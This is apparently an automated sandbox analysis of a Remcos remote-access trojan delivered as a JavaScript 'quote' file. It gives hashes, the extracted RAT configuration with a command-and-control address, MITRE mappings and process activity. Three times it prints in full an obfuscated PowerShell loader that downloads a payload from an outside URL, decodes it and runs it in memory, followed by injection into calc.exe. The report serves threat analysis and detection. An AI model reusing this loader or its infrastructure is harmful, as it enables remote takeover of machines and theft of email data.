remcos | 8007179162a4f90597bf20a6088bb4f4589b0b220f80cb365ccb8b7f16a7da56

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
31/08/2026, 08:29

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Quote Qr34255.js
Size 308KB
Sample260831-kdsadaybka
SHA256 8007179162a4f90597bf20a6088bb4f4589b0b220f80cb365ccb8b7f16a7da56
MD5 d74438203cc9ba4354db155e1a39f1c8
SHA1 329cb6b454c7db1c0122f2b29a717c94dc3b1db5
SHA512 a192a5b9819fc19d6d5df5c903ec4f91e5a959d47876e401140a6666b0c45b4293a16d0e2b5aca305f0ff91f5191af01f3901e9b33e994b35d7eaa23f5e726c1
SSDEEP 1536:v68hHuSncyF7J9MZe2Yo4UuUyMBDksF7rFr3yNmUNmsLfv63URUybFTs6b79tk52:v66fkFM7JgDg
TLSH
T1CB64D278ED599CF4EF6662296C5CE667CB974F8B7002C587306CB7200F78C6D888B646
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

remotehost collection discovery execution remcos rat

Malware Config

Extracted

Language

Deobfuscated

Source

URLs

ps1.dropper
https://lively-fog-af49.pablosoftwareplus.workers.dev/ZZYGy
exe.dropper
https://lively-fog-af49.pablosoftwareplus.workers.dev/ZZYGy

Extracted

Family

remcos

Version

7.3.0 Pro

Botnet

RemoteHost

217.60.103.4:2404

Attributes

audio_folder
MicRecords
audio_path
ApplicationPath
audio_record_time
5
connect_delay
0
connect_interval
1
copy_file
remcos.exe
copy_folder
Remcos
delete_file
false
hide_file
false
hide_keylog_file
false
install_flag
false
keylog_crypt
false
keylog_file
logs.dat
keylog_flag
false
keylog_folder
remcos
mouse_option
false
mutex
Rmc-8EISIO
screenshot_crypt
false
screenshot_flag
false
screenshot_folder
Screenshots
screenshot_path
%AppData%
screenshot_time
10
take_screenshot_option
false
take_screenshot_time
5

Signatures

Family: Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

Process spawned unexpected child process 3 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	4032	2696	powershell.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3148	2696	powershell.exe	85
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3492	2696	powershell.exe	85

Badlisted process makes network request 12 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	3492	powershell.exe
7	3148	powershell.exe
8	4032	powershell.exe
15	4032	powershell.exe
17	4032	powershell.exe
18	3148	powershell.exe
19	3148	powershell.exe
22	3492	powershell.exe
26	3148	powershell.exe
40	3492	powershell.exe
42	3492	powershell.exe
43	3492	powershell.exe

Accesses Microsoft Outlook profiles 1 TTPs 2 IoCs

collection

Email Collection

T1114

description	ioc	Process
Key opened	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	calc.exe
Key enumerated	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	calc.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
4032	powershell.exe
3148	powershell.exe
3492	powershell.exe

Network Service Discovery 1 TTPs 3 IoCs

Attempt to gather information on host's network.

discovery

Network Service Discovery

T1046

pid	Process
4032	powershell.exe
3148	powershell.exe
3492	powershell.exe

Suspicious use of SetThreadContext 3 IoCs

description	pid	Process	procid_target
PID 4032 set thread context of 860	4032	powershell.exe	92
PID 3148 set thread context of 3972	3148	powershell.exe	93
PID 3492 set thread context of 4512	3492	powershell.exe	101

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007

Suspicious behavior: EnumeratesProcesses 6 IoCs

pid	Process
3148	powershell.exe
3492	powershell.exe
4032	powershell.exe
3148	powershell.exe
3492	powershell.exe
4032	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	3148	powershell.exe
Token: SeDebugPrivilege	3492	powershell.exe
Token: SeDebugPrivilege	4032	powershell.exe

Suspicious use of WriteProcessMemory 21 IoCs

description	pid	Process	procid_target
PID 4032 wrote to memory of 860	4032	powershell.exe	92
PID 4032 wrote to memory of 860	4032	powershell.exe	92
PID 4032 wrote to memory of 860	4032	powershell.exe	92
PID 4032 wrote to memory of 860	4032	powershell.exe	92
PID 4032 wrote to memory of 860	4032	powershell.exe	92
PID 4032 wrote to memory of 860	4032	powershell.exe	92
PID 4032 wrote to memory of 860	4032	powershell.exe	92
PID 3148 wrote to memory of 3972	3148	powershell.exe	93
PID 3148 wrote to memory of 3972	3148	powershell.exe	93
PID 3148 wrote to memory of 3972	3148	powershell.exe	93
PID 3148 wrote to memory of 3972	3148	powershell.exe	93
PID 3148 wrote to memory of 3972	3148	powershell.exe	93
PID 3148 wrote to memory of 3972	3148	powershell.exe	93
PID 3148 wrote to memory of 3972	3148	powershell.exe	93
PID 3492 wrote to memory of 4512	3492	powershell.exe	101
PID 3492 wrote to memory of 4512	3492	powershell.exe	101
PID 3492 wrote to memory of 4512	3492	powershell.exe	101
PID 3492 wrote to memory of 4512	3492	powershell.exe	101
PID 3492 wrote to memory of 4512	3492	powershell.exe	101
PID 3492 wrote to memory of 4512	3492	powershell.exe	101
PID 3492 wrote to memory of 4512	3492	powershell.exe	101

outlook_office_path 1 IoCs

description	ioc	Process
Key enumerated	\REGISTRY\USER\S-1-5-21-540052884-2969440504-464782435-1000\SOFTWARE\Microsoft\Office\16.0\Outlook\Profiles\Outlook	calc.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\Quote Qr34255.js"
1⤵
PID:744

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/ZZYGy''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''bkmB1TX1tDXRFKuSTU2bFANn/cYFqO44gkZ9SL4g4RY2Tnges3ckVIcDuC7sav6IlaWZEckihrsNxGnGattzo330qytbl7LBT4igHdF5CGU='','''',''xRlPftO6rJ6F2mONbwl6dtg+9EKKK0E+NEpcJRQOMn8BTOQMV2SRhha+peZVbUHH'',''uFGjcOmsnBj55nuld4PJlw+t2hKALcDLnA/jkdaUiHU='',''xC3IR1AoW2m0T7dM5a0NNMBI3WFSRmWumqL8kJC+pS4='',''sHkJzCWi+Rm3uTWF/f2OLVp11Q4TjicVzbx+9UoFoIA='',''Y8Jgr8hODJOM5V5XJm6CUNtvBJeFzLW3JK9K0YZp2vI='','''',''SD7Zq11Is03g3qcZGn4BmAM1KOd2c49JBFAX+qNKmro='',''K5drer5Tf/b+g362HFDCsTbxo6bbf+0xSKmkjQkQR0C6jwcoLzK54RS8VJQ50Ejw'',''mZtjTWbx48oh/gYdoAEP89f8xkkN25/jvNYgQPbLbVo='',''ArG9vhMdVNSksQd+lMcqTfWtUGFKQZTpLWBJfuRz8d0='',''FBwqXyLAmpE/EtoWKzyBEbdwiBgv16YDLdRgfh843JQ='','''',''5V3Gh07vdoWu6Omg87Sl7BlLp4pS7fuETyoWz3DOtrY='',''swIIDJYZDHRiPfX/amhrdw8Y6iXSmeiTxjXnFO4adXE='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4032
- C:\Windows\SysWOW64\calc.exe
  "C:\Windows\SysWOW64\calc.exe"
  2⤵
  - Accesses Microsoft Outlook profiles
  - outlook_office_path
  PID:860

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/ZZYGy''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''bkmB1TX1tDXRFKuSTU2bFANn/cYFqO44gkZ9SL4g4RY2Tnges3ckVIcDuC7sav6IlaWZEckihrsNxGnGattzo330qytbl7LBT4igHdF5CGU='','''',''xRlPftO6rJ6F2mONbwl6dtg+9EKKK0E+NEpcJRQOMn8BTOQMV2SRhha+peZVbUHH'',''uFGjcOmsnBj55nuld4PJlw+t2hKALcDLnA/jkdaUiHU='',''xC3IR1AoW2m0T7dM5a0NNMBI3WFSRmWumqL8kJC+pS4='',''sHkJzCWi+Rm3uTWF/f2OLVp11Q4TjicVzbx+9UoFoIA='',''Y8Jgr8hODJOM5V5XJm6CUNtvBJeFzLW3JK9K0YZp2vI='','''',''SD7Zq11Is03g3qcZGn4BmAM1KOd2c49JBFAX+qNKmro='',''K5drer5Tf/b+g362HFDCsTbxo6bbf+0xSKmkjQkQR0C6jwcoLzK54RS8VJQ50Ejw'',''mZtjTWbx48oh/gYdoAEP89f8xkkN25/jvNYgQPbLbVo='',''ArG9vhMdVNSksQd+lMcqTfWtUGFKQZTpLWBJfuRz8d0='',''FBwqXyLAmpE/EtoWKzyBEbdwiBgv16YDLdRgfh843JQ='','''',''5V3Gh07vdoWu6Omg87Sl7BlLp4pS7fuETyoWz3DOtrY='',''swIIDJYZDHRiPfX/amhrdw8Y6iXSmeiTxjXnFO4adXE='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3148
- C:\Windows\SysWOW64\calc.exe
  "C:\Windows\SysWOW64\calc.exe"
  2⤵
  PID:3972

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "&([scriptblock]::Create('[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; $aminopyridine = ''https://lively-fog-af49.pablosoftwareplus.workers.dev/ZZYGy''; Add-Type -AssemblyName System.Net.Http; $cookieContainer = New-Object System.Net.CookieContainer; $handler = New-Object System.Net.Http.HttpClientHandler; $handler.AllowAutoRedirect = $true; $handler.CookieContainer = $cookieContainer; $client = New-Object System.Net.Http.HttpClient($handler); $client.DefaultRequestHeaders.Add(''User-Agent'', ''Mozilla/5.0 (Windows NT 10.0; Win64; x64)''); try { $reqHead = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Head, $aminopyridine); $resHead = $client.SendAsync($reqHead).GetAwaiter().GetResult(); $tamanhoTotal = $resHead.Content.Headers.ContentLength; if ($null -eq $tamanhoTotal) { $tamanhoTotal = 5000000; } $tamanhoBuffer = [Math]::Min($tamanhoTotal, 3000000); $inicio = [Math]::Max(0, $tamanhoTotal - $tamanhoBuffer); $fim = $tamanhoTotal - 1; $reqGet = New-Object System.Net.Http.HttpRequestMessage([System.Net.Http.HttpMethod]::Get, $aminopyridine); $reqGet.Headers.Range = New-Object System.Net.Http.Headers.RangeHeaderValue($inicio, $fim); $resGet = $client.SendAsync($reqGet).GetAwaiter().GetResult(); [byte[]]$bytesBuffer = $resGet.Content.ReadAsByteArrayAsync().GetAwaiter().GetResult(); $kourbash = [System.Text.Encoding]::ASCII.GetString($bytesBuffer); } catch { $sfregazzi = (New-Object System.Net.WebClient).DownloadString($aminopyridine); $kourbash = $sfregazzi; } $lacune=''IN-''; $hominins=''-in1''; $javaone_2008_ge = [string]::IndexOf($kourbash, $lacune); $pajero = $kourbash.LastIndexOf($hominins); if($javaone_2008_ge -eq -1 -or $pajero -eq -1){return}; $syngamic = $javaone_2008_ge + $lacune.Length; $anomocarpous = $kourbash.Substring($kourbash.IndexOf($lacune) + $lacune.Length, $pajero - ($kourbash.IndexOf($lacune) + $lacune.Length)); $phassachate = $anomocarpous.Replace(''*'',''A'').ToCharArray(); $perforati = -join $phassachate[($phassachate.Length - 1)..0]; $isHex = ($perforati -match ''^[0-9a-fA-F]+$'') -and ($perforati.Length % 2 -eq 0); [byte[]]$hobblingly = $null; if ($isHex) { $hobblingly = for ($i = 0; $i -lt $perforati.Length; $i += 2) { [Convert]::ToByte($perforati.Substring($i, 2), 16) } } else { $cnv = [Type]::GetType((''System''+''.''+''Convert'') -join ''''); $hobblingly = $cnv.GetMethod((''From''+''Base64''+''String'') -join '''').Invoke($null, (,$perforati)); } $bosta = [AppDomain]::(''CurrentDomain''); $humist = $bosta.GetType().GetMethod(''Load'', [byte[]]); $unswerving = $humist.Invoke($bosta, (,$hobblingly)); $landaulets = (''bkmB1TX1tDXRFKuSTU2bFANn/cYFqO44gkZ9SL4g4RY2Tnges3ckVIcDuC7sav6IlaWZEckihrsNxGnGattzo330qytbl7LBT4igHdF5CGU='','''',''xRlPftO6rJ6F2mONbwl6dtg+9EKKK0E+NEpcJRQOMn8BTOQMV2SRhha+peZVbUHH'',''uFGjcOmsnBj55nuld4PJlw+t2hKALcDLnA/jkdaUiHU='',''xC3IR1AoW2m0T7dM5a0NNMBI3WFSRmWumqL8kJC+pS4='',''sHkJzCWi+Rm3uTWF/f2OLVp11Q4TjicVzbx+9UoFoIA='',''Y8Jgr8hODJOM5V5XJm6CUNtvBJeFzLW3JK9K0YZp2vI='','''',''SD7Zq11Is03g3qcZGn4BmAM1KOd2c49JBFAX+qNKmro='',''K5drer5Tf/b+g362HFDCsTbxo6bbf+0xSKmkjQkQR0C6jwcoLzK54RS8VJQ50Ejw'',''mZtjTWbx48oh/gYdoAEP89f8xkkN25/jvNYgQPbLbVo='',''ArG9vhMdVNSksQd+lMcqTfWtUGFKQZTpLWBJfuRz8d0='',''FBwqXyLAmpE/EtoWKzyBEbdwiBgv16YDLdRgfh843JQ='','''',''5V3Gh07vdoWu6Omg87Sl7BlLp4pS7fuETyoWz3DOtrY='',''swIIDJYZDHRiPfX/amhrdw8Y6iXSmeiTxjXnFO4adXE='','''','''',''''); try { $monometallist = ($unswerving.GetTypes() | Where-Object Name -eq ''mpxnddVn'' | Select-Object -First 1); $galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq ''Otnmpxn'' | Select-Object -First 1); $galactotherapy.Invoke($null, [object[]]$landaulets); } catch {} finally { if ($null -ne $client) { $client.Dispose() } }'))"
1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Network Service Discovery
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3492
- C:\Windows\SysWOW64\calc.exe
  "C:\Windows\SysWOW64\calc.exe"
  2⤵
  PID:4512

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Network Service Discovery

T1046

Lateral Movement

Collection

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 4c65bd266deead472836e24cb659f9c8aa4d77bdd00bfe45fa20137c0311b2d0
MD5 ed0e44dce66d3f43024e0570f5ee9138
SHA1 6cd36a695319291f87676660ae2d172ae33906e0
SHA512 852d7d18e16a3aed0253324870b8487431fe1f6c8ad512400fa07bb7f3dc17779818829000c48c8469bb7f0562c2fe8bcaad433da10db5e161510c92e598f34c
TLSH
T12571EF323375B1D4C9167F071E68598063BF4396EA94AF1CB29C625EDD2601B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 5de072f9f59536f0f1d4cdfb5d6562e0d81c17dedeb2126653626e845599595c
MD5 96d6efabb8138b680f6b4038473ef0d8
SHA1 7c3e6d0bc54ad75e591804515c16df5a33a33a10
SHA512 8c1d36938c90e13694ee6c81e48ace60eed76be3eb5b7b74ca24e13916bd1177f84b7bfcd165d1cf6d6b3256c9d46e9968670f73bdab67f9679b8a72e6e6734d
TLSH
T14C215427F79CC921CC96113A009E9C1176B683DB419ECF9F7EC0D214E16F984CB615A4
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 140e738f3a4b83acdd3ecbbfa9056c3e2394be1c370242c91a4054271f994d81
MD5 bc9cbd63554bf15edaef2fb20f386b2f
SHA1 428d1646136f6edce8c8a28ad544d5c27b7077e7
SHA512 73897f4e4e5b3da016982f073696ece61f49afa4a193f0559d1fd606a0b45e281ce70e181574b53f01aafd307e9075506db1deb4473ca936782ad02dad3c4bf1
TLSH
T107215127F79CC921CC96113A009EAC1176B683DB81AECF9F7EC0D214A16F984CB615A4
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2gqz44xe.w0z.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2gqz44xe.w0z.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/860-36-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-59-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-60-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-66-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-65-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-29-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-32-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-33-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-34-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-51-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-68-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-37-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-38-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-67-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/860-40-0x0000000010000000-0x00000000100F7000-memory.dmp

Download

memory/860-43-0x0000000010000000-0x00000000100F7000-memory.dmp

Download

memory/860-44-0x0000000010000000-0x00000000100F7000-memory.dmp

Download

memory/3148-39-0x000001E0AFFD0000-0x000001E0AFFE0000-memory.dmp

Download

memory/3148-0-0x000001E0AFFD0000-0x000001E0AFFE0000-memory.dmp

Download

memory/3148-1-0x000001E0AFFD0000-0x000001E0AFFE0000-memory.dmp

Download

memory/3148-35-0x000001E0AFFD0000-0x000001E0AFFE0000-memory.dmp

Download

memory/3148-10-0x000001E0CA360000-0x000001E0CA382000-memory.dmp

Download

memory/3492-53-0x000001A676A00000-0x000001A676A10000-memory.dmp

Download

memory/3492-52-0x000001A676A00000-0x000001A676A10000-memory.dmp

Download

memory/3492-4-0x000001A676A00000-0x000001A676A10000-memory.dmp

Download

memory/3972-55-0x0000000000400000-0x0000000000490000-memory.dmp

Download

memory/4032-28-0x00000193CFA80000-0x00000193CFA8A000-memory.dmp

Download

memory/4032-27-0x00000193D0820000-0x00000193D08D2000-memory.dmp

Download

memory/4032-3-0x00000193B5510000-0x00000193B5520000-memory.dmp

Download

memory/4032-2-0x00000193B5510000-0x00000193B5520000-memory.dmp

Download

memory/4512-62-0x0000000000400000-0x0000000000490000-memory.dmp

Download